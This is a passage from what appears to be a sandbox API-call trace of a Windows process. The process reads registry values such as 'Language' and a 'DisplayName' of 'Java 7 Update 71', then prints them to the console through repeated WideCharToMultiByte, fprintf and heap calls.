_File=0x7fefd702ab0) returned 0 [0149.470] __iob_func () returned 0x7fefd702a80 [0149.470] _fileno (_File=0x7fefd702ab0) returned 1 [0149.470] _errno () returned 0x204bb0 [0149.470] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.470] _errno () returned 0x204bb0 [0149.470] GetFileType (hFile=0x50) returned 0x1 [0149.470] lstrlenW (lpString=" ") returned 4 [0149.470] GetConsoleOutputCP () returned 0x1b5 [0149.470] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.470] GetConsoleOutputCP () returned 0x1b5 [0149.471] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.471] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.471] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.471] __iob_func () returned 0x7fefd702a80 [0149.471] _fileno (_File=0x7fefd702ab0) returned 1 [0149.471] _errno () returned 0x204bb0 [0149.471] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.471] _errno () returned 0x204bb0 [0149.471] GetFileType (hFile=0x50) returned 0x1 [0149.471] lstrlenW (lpString="REG_DWORD") returned 9 [0149.471] GetConsoleOutputCP () returned 0x1b5 [0149.471] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.471] GetConsoleOutputCP () returned 0x1b5 [0149.471] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0149.471] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.471] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.471] __iob_func () returned 0x7fefd702a80 [0149.471] _fileno (_File=0x7fefd702ab0) returned 1 [0149.471] _errno () returned 0x204bb0 [0149.471] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.471] _errno () returned 0x204bb0 [0149.472] GetFileType (hFile=0x50) returned 0x1 [0149.472] lstrlenW (lpString=" ") returned 4 [0149.472] GetConsoleOutputCP () returned 0x1b5 [0149.472] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.472] GetConsoleOutputCP () returned 0x1b5 [0149.472] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.472] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.472] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.472] __iob_func () returned 0x7fefd702a80 [0149.472] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.472] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x70002c6") returned 9 [0149.472] _fileno (_File=0x7fefd702ab0) returned 1 [0149.472] _errno () returned 0x204bb0 [0149.472] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.472] _errno () returned 0x204bb0 [0149.472] GetFileType (hFile=0x50) returned 0x1 [0149.472] lstrlenW (lpString="0x70002c6") returned 9 [0149.472] GetConsoleOutputCP () returned 0x1b5 [0149.472] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x70002c6", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.472] GetConsoleOutputCP () returned 0x1b5 [0149.472] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x70002c6", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x70002c6", lpUsedDefaultChar=0x0) returned 9 [0149.472] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.473] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.473] __iob_func () returned 0x7fefd702a80 [0149.473] _fileno (_File=0x7fefd702ab0) returned 1 [0149.473] _errno () returned 0x204bb0 [0149.473] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.473] _errno () returned 0x204bb0 [0149.473] GetFileType (hFile=0x50) returned 0x1 [0149.473] lstrlenW (lpString="\n") returned 1 [0149.473] GetConsoleOutputCP () returned 0x1b5 [0149.473] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.473] GetConsoleOutputCP () returned 0x1b5 [0149.473] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.473] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.473] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.473] GetProcessHeap () returned 0x3c0000 [0149.473] GetProcessHeap () returned 0x3c0000 [0149.473] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.473] GetProcessHeap () returned 0x3c0000 [0149.473] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.473] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.473] RegEnumValueW (in: hKey=0x5c, dwIndex=0x18, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Language", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.473] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Language", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.474] GetProcessHeap () returned 0x3c0000 [0149.474] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0149.474] GetProcessHeap () returned 0x3c0000 [0149.474] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.474] GetProcessHeap () returned 0x3c0000 [0149.474] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.474] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Language", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0149.474] __iob_func () returned 0x7fefd702a80 [0149.474] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.474] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.474] _fileno (_File=0x7fefd702ab0) returned 1 [0149.474] _errno () returned 0x204bb0 [0149.474] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.474] _errno () returned 0x204bb0 [0149.474] GetFileType (hFile=0x50) returned 0x1 [0149.474] lstrlenW (lpString=" ") returned 4 [0149.474] GetConsoleOutputCP () returned 0x1b5 [0149.474] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.474] GetConsoleOutputCP () returned 0x1b5 [0149.474] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.474] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.474] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.474] lstrlenW (lpString="Language") returned 8 [0149.474] __iob_func () returned 0x7fefd702a80 [0149.474] _fileno (_File=0x7fefd702ab0) returned 1 [0149.474] _errno () returned 0x204bb0 [0149.474] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.474] _errno () returned 0x204bb0 [0149.474] GetFileType (hFile=0x50) returned 0x1 [0149.474] lstrlenW (lpString="Language") returned 8 [0149.475] GetConsoleOutputCP () returned 0x1b5 [0149.475] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Language", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0149.475] GetConsoleOutputCP () returned 0x1b5 [0149.475] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Language", cchWideChar=8, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Language", lpUsedDefaultChar=0x0) returned 8 [0149.475] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0149.475] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.475] __iob_func () returned 0x7fefd702a80 [0149.475] _fileno (_File=0x7fefd702ab0) returned 1 [0149.475] _errno () returned 0x204bb0 [0149.475] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.475] _errno () returned 0x204bb0 [0149.475] GetFileType (hFile=0x50) returned 0x1 [0149.475] lstrlenW (lpString=" ") returned 4 [0149.475] GetConsoleOutputCP () returned 0x1b5 [0149.475] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.475] GetConsoleOutputCP () returned 0x1b5 [0149.475] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.475] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.475] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.475] __iob_func () returned 0x7fefd702a80 [0149.476] _fileno (_File=0x7fefd702ab0) returned 1 [0149.476] _errno () returned 0x204bb0 [0149.476] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.476] _errno () returned 0x204bb0 [0149.476] GetFileType (hFile=0x50) returned 0x1 [0149.476] lstrlenW (lpString="REG_DWORD") returned 9 [0149.476] GetConsoleOutputCP () returned 0x1b5 [0149.476] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0149.476] GetConsoleOutputCP () returned 0x1b5 [0149.476] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0149.476] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0149.476] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.476] __iob_func () returned 0x7fefd702a80 [0149.476] _fileno (_File=0x7fefd702ab0) returned 1 [0149.476] _errno () returned 0x204bb0 [0149.476] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.476] _errno () returned 0x204bb0 [0149.476] GetFileType (hFile=0x50) returned 0x1 [0149.476] lstrlenW (lpString=" ") returned 4 [0149.476] GetConsoleOutputCP () returned 0x1b5 [0149.476] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.476] GetConsoleOutputCP () returned 0x1b5 [0149.476] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.477] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.477] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.477] __iob_func () returned 0x7fefd702a80 [0149.477] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.477] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x0") returned 3 [0149.477] _fileno (_File=0x7fefd702ab0) returned 1 [0149.477] _errno () returned 0x204bb0 [0149.477] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.477] _errno () returned 0x204bb0 [0149.477] GetFileType (hFile=0x50) returned 0x1 [0149.477] lstrlenW (lpString="0x0") returned 3 [0149.477] GetConsoleOutputCP () returned 0x1b5 [0149.477] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0149.477] GetConsoleOutputCP () returned 0x1b5 [0149.477] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x0", lpUsedDefaultChar=0x0) returned 3 [0149.477] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0149.477] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.477] __iob_func () returned 0x7fefd702a80 [0149.477] _fileno (_File=0x7fefd702ab0) returned 1 [0149.477] _errno () returned 0x204bb0 [0149.477] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.477] _errno () returned 0x204bb0 [0149.477] GetFileType (hFile=0x50) returned 0x1 [0149.477] lstrlenW (lpString="\n") returned 1 [0149.477] GetConsoleOutputCP () returned 0x1b5 [0149.478] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.478] GetConsoleOutputCP () returned 0x1b5 [0149.478] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.478] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.478] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.478] GetProcessHeap () returned 0x3c0000 [0149.478] GetProcessHeap () returned 0x3c0000 [0149.478] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0149.478] GetProcessHeap () returned 0x3c0000 [0149.478] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0149.478] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0149.478] RegEnumValueW (in: hKey=0x5c, dwIndex=0x19, lpValueName=0x3d5c30, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0149.478] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x24) returned 0x0 [0149.478] GetProcessHeap () returned 0x3c0000 [0149.478] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x26) returned 0x3d5c60 [0149.478] GetProcessHeap () returned 0x3c0000 [0149.478] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c60) returned 1 [0149.478] GetProcessHeap () returned 0x3c0000 [0149.478] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c60) returned 0x26 [0149.478] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="DisplayName", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3d5c60, pcbData=0x29f780*=0x24 | out: pdwType=0x29f700*=0x1, pvData="Java 7 Update 71", pcbData=0x29f780*=0x22) returned 0x0 [0149.478] __iob_func () returned 0x7fefd702a80 [0149.478] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0149.478] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0149.478] _fileno (_File=0x7fefd702ab0) returned 1 [0149.478] _errno () returned 0x204bb0 [0149.478] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.478] _errno () returned 0x204bb0 [0149.479] GetFileType (hFile=0x50) returned 0x1 [0149.479] lstrlenW (lpString=" ") returned 4 [0149.479] GetConsoleOutputCP () returned 0x1b5 [0149.479] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.479] GetConsoleOutputCP () returned 0x1b5 [0149.479] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.479] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.479] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.479] lstrlenW (lpString="DisplayName") returned 11 [0149.479] __iob_func () returned 0x7fefd702a80 [0149.479] _fileno (_File=0x7fefd702ab0) returned 1 [0149.479] _errno () returned 0x204bb0 [0149.479] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.479] _errno () returned 0x204bb0 [0149.479] GetFileType (hFile=0x50) returned 0x1 [0149.479] lstrlenW (lpString="DisplayName") returned 11 [0149.479] GetConsoleOutputCP () returned 0x1b5 [0149.479] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0149.479] GetConsoleOutputCP () returned 0x1b5 [0149.479] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="DisplayName", cchWideChar=11, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DisplayName", lpUsedDefaultChar=0x0) returned 11 [0149.479] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 11 [0149.479] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.480] __iob_func () returned 0x7fefd702a80 [0149.480] _fileno (_File=0x7fefd702ab0) returned 1 [0149.480] _errno () returned 0x204bb0 [0149.480] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.480] _errno () returned 0x204bb0 [0149.480] GetFileType (hFile=0x50) returned 0x1 [0149.480] lstrlenW (lpString=" ") returned 4 [0149.480] GetConsoleOutputCP () returned 0x1b5 [0149.480] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.480] GetConsoleOutputCP () returned 0x1b5 [0149.480] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.480] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.480] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.480] __iob_func () returned 0x7fefd702a80 [0149.480] _fileno (_File=0x7fefd702ab0) returned 1 [0149.480] _errno () returned 0x204bb0 [0149.480] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.480] _errno () returned 0x204bb0 [0149.480] GetFileType (hFile=0x50) returned 0x1 [0149.480] lstrlenW (lpString="REG_SZ") returned 6 [0149.480] GetConsoleOutputCP () returned 0x1b5 [0149.480] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0149.480] GetConsoleOutputCP () returned 0x1b5 [0149.481] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0149.481] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0149.481] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.481] __iob_func () returned 0x7fefd702a80 [0149.481] _fileno (_File=0x7fefd702ab0) returned 1 [0149.481] _errno () returned 0x204bb0 [0149.481] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.481] _errno () returned 0x204bb0 [0149.481] GetFileType (hFile=0x50) returned 0x1 [0149.481] lstrlenW (lpString=" ") returned 4 [0149.481] GetConsoleOutputCP () returned 0x1b5 [0149.481] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0149.481] GetConsoleOutputCP () returned 0x1b5 [0149.481] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0149.481] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0149.481] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.481] __iob_func () returned 0x7fefd702a80 [0149.481] _fileno (_File=0x7fefd702ab0) returned 1 [0149.481] _errno () returned 0x204bb0 [0149.481] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.481] _errno () returned 0x204bb0 [0149.481] GetFileType (hFile=0x50) returned 0x1 [0149.481] lstrlenW (lpString="Java 7 Update 71") returned 16 [0149.481] GetConsoleOutputCP () returned 0x1b5 [0149.482] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Java 7 Update 71", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0149.482] GetConsoleOutputCP () returned 0x1b5 [0149.482] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Java 7 Update 71", cchWideChar=16, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Java 7 Update 71", lpUsedDefaultChar=0x0) returned 16 [0149.482] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 16 [0149.482] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.482] __iob_func () returned 0x7fefd702a80 [0149.482] _fileno (_File=0x7fefd702ab0) returned 1 [0149.482] _errno () returned 0x204bb0 [0149.482] _get_osfhandle (_FileHandle=1) returned 0x50 [0149.482] _errno () returned 0x204bb0 [0149.482] GetFileType (hFile=0x50) returned 0x1 [0149.482] lstrlenW (lpString="\n") returned 1 [0149.482] GetConsoleOutputCP () returned 0x1b5 [0149.482] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0149.482] GetConsoleOutputCP () returned 0x1b5 [0149.482] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0149.482] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0149.482] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0149.482] GetProcessHeap () returned 0x3c0000 [0149.482] GetProcessHeap () returned 0x3c0000 [0149.482] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3d5c60) returned 1 [0149.482] GetProcessHeap () returned 0x3c0000 [0149.482] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3d5c60) returned 